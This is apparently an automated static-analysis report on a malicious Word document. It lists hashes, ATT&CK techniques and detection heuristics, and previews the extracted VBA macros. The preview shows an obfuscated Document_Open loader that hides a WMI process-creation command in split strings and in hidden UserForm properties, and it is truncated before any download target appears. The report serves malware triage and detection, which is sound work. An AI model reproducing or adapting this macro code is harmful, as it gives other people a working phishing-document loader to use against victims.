Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 766b6bd79cf616d0…

MALICIOUS

Office (OLE)

179.4 KB Created: 2020-08-21 13:36:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: e19bb68f6c42964ed87f9fe3de18d7a8 SHA-1: 69305b9537b14be632f481a8c60e983f8587f1e7 SHA-256: 766b6bd79cf616d07b0c0d933098f1e9db7866efede4700a2392174bc7d52efe
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Word document containing VBA macros. The critical heuristic 'OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER' indicates the use of a hidden UserForm to execute a command stager. This stager likely downloads and executes a second-stage payload, a common technique for initial compromise. The 'Document_Open' macro is automatically executed upon opening the document, facilitating this malicious activity.

Heuristics 7

  • ClamAV: Doc.Malware.Generic-9443669-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Generic-9443669-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10246 bytes
SHA-256: 70baec65c47d55b0298df035da12e5731c41bcc32eb0f3c55fd502d2149fdfd1
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Lr5294k6o69dyv2"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Ye1ts9bakclm0b.Tsnfylfln4dtkwivdj
End Sub


Attribute VB_Name = "Ye1ts9bakclm0b"
Attribute VB_Base = "0{B252770A-0F3C-40AB-B570-DBB8B8644F0C}{A10DC1E5-FE9C-4FE1-9E27-3D6EBD3F636A}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Tsnfylfln4dtkwivdj()
   nxuEDsvY52 = 7463
For XoqGaHJZ13 = 0 To 67
nxuEDsvY52 = nxuEDsvY52 + XoqGaHJZ13
DoEvents
Next XoqGaHJZ13
KglkgMVZ68 = 9198
For kZnkwmeI74 = 0 To 24
KglkgMVZ68 = KglkgMVZ68 + kZnkwmeI74
DoEvents
Next kZnkwmeI74
jhlqPACC78 = 6797
For oAQhdOsV22 = 0 To 44
jhlqPACC78 = jhlqPACC78 + oAQhdOsV22
DoEvents
Next oAQhdOsV22
H2rromvs21xxyt = Ye1ts9bakclm0b.BorderStyle + 100
   nxuEDsvY52 = 7463
For XoqGaHJZ13 = 0 To 67
nxuEDsvY52 = nxuEDsvY52 + XoqGaHJZ13
DoEvents
Next XoqGaHJZ13
KglkgMVZ68 = 9198
For kZnkwmeI74 = 0 To 24
KglkgMVZ68 = KglkgMVZ68 + kZnkwmeI74
DoEvents
Next kZnkwmeI74
jhlqPACC78 = 6797
For oAQhdOsV22 = 0 To 44
jhlqPACC78 = jhlqPACC78 + oAQhdOsV22
DoEvents
Next oAQhdOsV22
V6_m_8bi9ao4f702 = ChrW(H2rromvs21xxyt + (15))
   nxuEDsvY52 = 7463
For XoqGaHJZ13 = 0 To 67
nxuEDsvY52 = nxuEDsvY52 + XoqGaHJZ13
DoEvents
Next XoqGaHJZ13
KglkgMVZ68 = 9198
For kZnkwmeI74 = 0 To 24
KglkgMVZ68 = KglkgMVZ68 + kZnkwmeI74
DoEvents
Next kZnkwmeI74
jhlqPACC78 = 6797
For oAQhdOsV22 = 0 To 44
jhlqPACC78 = jhlqPACC78 + oAQhdOsV22
DoEvents
Next oAQhdOsV22
Fv20id9stkkl3f = "15df qhs1g 2[s55da znb183b]15df qhs1g 2[s55da znb183b]w15df qhs1g 2[s55da znb183b]i15df qhs1g 2[s55da znb183b]nm15df qhs1g 2[s55da znb183b]15df qhs1g 2[s55da znb183b]gm15df qhs1g 2[s55da znb183b]t15df qhs1g 2[s55da znb183b]15df qhs1g 2[s55da znb183b]" + V6_m_8bi9ao4f702 + "15df qhs1g 2[s55da znb183b]15df qhs1g 2[s55da znb183b]:15df qhs1g 2[s55da znb183b]w15df qhs1g 2[s55da znb183b]in15df qhs1g 2[s55da znb183b]15df qhs1g 2[s55da znb183b]315df qhs1g 2[s55da znb183b]215df qhs1g 2[s55da znb183b]_15df qhs1g 2[s55da znb183b]" + Ye1ts9bakclm0b.Imfo66pr6h7 + "15df qhs1g 2[s55da znb183b]ro15df qhs1g 2[s55da znb183b]15df qhs1g 2[s55da znb183b]ce15df qhs1g 2[s55da znb183b]s15df qhs1g 2[s55da znb183b]s15df qhs1g 2[s55da znb183b]"
   nxuEDsvY52 = 7463
For XoqGaHJZ13 = 0 To 67
nxuEDsvY52 = nxuEDsvY52 + XoqGaHJZ13
DoEvents
Next XoqGaHJZ13
KglkgMVZ68 = 9198
For kZnkwmeI74 = 0 To 24
KglkgMVZ68 = KglkgMVZ68 + kZnkwmeI74
DoEvents
Next kZnkwmeI74
jhlqPACC78 = 6797
For oAQhdOsV22 = 0 To 44
jhlqPACC78 = jhlqPACC78 + oAQhdOsV22
DoEvents
Next oAQhdOsV22
F2yazlczpb3g_7ui = W3i8vfdho5ivphy(Fv20id9stkkl3f)
   nxuEDsvY52 = 7463
For XoqGaHJZ13 = 0 To 67
nxuEDsvY52 = nxuEDsvY52 + XoqGaHJZ13
DoEvents
Next XoqGaHJZ13
KglkgMVZ68 = 9198
For kZnkwmeI74 = 0 To 24
KglkgMVZ68 = KglkgMVZ68 + kZnkwmeI74
DoEvents
Next kZnkwmeI74
jhlqPACC78 = 6797
For oAQhdOsV22 = 0 To 44
jhlqPACC78 = jhlqPACC78 + oAQhdOsV22
DoEvents
Next oAQhdOsV22
Set Z158_9pkapas_ = CreateObject(F2yazlczpb3g_7ui)
   nxuEDsvY52 = 7463
For XoqGaHJZ13 = 0 To 67
nxuEDsvY52 = nxuEDsvY52 + XoqGaHJZ13
DoEvents
Next XoqGaHJZ13
KglkgMVZ68 = 9198
For kZnkwmeI74 = 0 To 24
KglkgMVZ68 = KglkgMVZ68 + kZnkwmeI74
DoEvents
Next kZnkwmeI74
jhlqPACC78 = 6797
For oAQhdOsV22 = 0 To 44
jhlqPACC78 = jhlqPACC78 + oAQhdOsV22
DoEvents
Next oAQhdOsV22
Zk6zejatrt1c8 = Ye1ts9bakclm0b.T56nmwbowah.ControlTipText
   nxuEDsvY52 = 7463
For XoqGaHJZ13 = 0 To 67
nxuEDsvY52 = nxuEDsvY52 + XoqGaHJZ13
DoEvents
Next XoqGaHJZ13
KglkgMVZ68 = 9198
For kZnkwmeI74 = 0 To 24
KglkgMVZ68 = KglkgMVZ68 + kZnkwmeI74
DoEvents
Next kZnkwmeI74
jhlqPACC78 = 6797
For oAQhdOsV22 = 0 To 44
jhlqPACC78 = jhlqPACC78 + oAQhdOsV22
DoEvents
Next oAQhdOsV22
Sshwokpli4q
... (truncated)

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